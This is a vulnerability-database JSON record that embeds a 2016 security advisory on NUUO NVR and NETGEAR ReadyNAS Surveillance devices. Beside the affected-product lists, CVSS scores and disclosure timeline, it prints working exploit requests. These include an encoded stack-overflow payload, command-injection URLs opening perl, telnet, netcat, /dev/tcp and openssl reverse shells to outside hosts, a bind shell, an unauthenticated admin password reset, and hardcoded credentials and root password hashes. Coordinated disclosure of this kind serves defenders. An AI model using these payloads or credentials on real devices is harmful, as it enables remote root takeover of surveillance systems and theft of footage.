Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201608-0088",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.75"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"model": "crystal",
"scope": "eq",
"trust": 1.3,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.10"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.2.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.4"
},
{
"model": "crystal",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.9.6"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.2.0.4"
},
{
"model": "crystal",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.1.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.1.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.3.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.2.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.1.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.1.20"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.14"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.2"
},
{
"model": "crystal",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.2.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.0.117"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.9"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "2.2.1 to 3.2.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.5 to 3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.0.0 to 3.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "arm edition 1.1.1 to 1.4.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "x86 edition 1.1.1 to 1.4.1"
},
{
"model": "inc nvrmini",
"scope": "lte",
"trust": 0.6,
"vendor": "nuuo",
"version": "\u003c=3.0.8"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/a:nuuo:crystal",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:nuuo:nvrsolo",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:netgear:readynas_surveillance",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5675",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2016-5675",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2016-06345",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-94494",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2016-5675",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5675",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2016-5675",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2016-06345",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-269",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-94494",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2016-5675",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "handle_daylightsaving.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, NUUO Crystal 2.2.1 through 3.2.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the NTPServer parameter. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRsolo and so on are products of NUUO. Both NUUONVRsolo and NVRmini2 are network video recorders. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:\nPOST /__nvr_status___.php HTTP/1.1\nusername=nuuoeng\u0026password=qwe23622260\u0026submit=Submit\n\n\n#5 \nVulnerability: Harcoded root password \nCVE-2016-5678\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 \n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n\nThe NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET 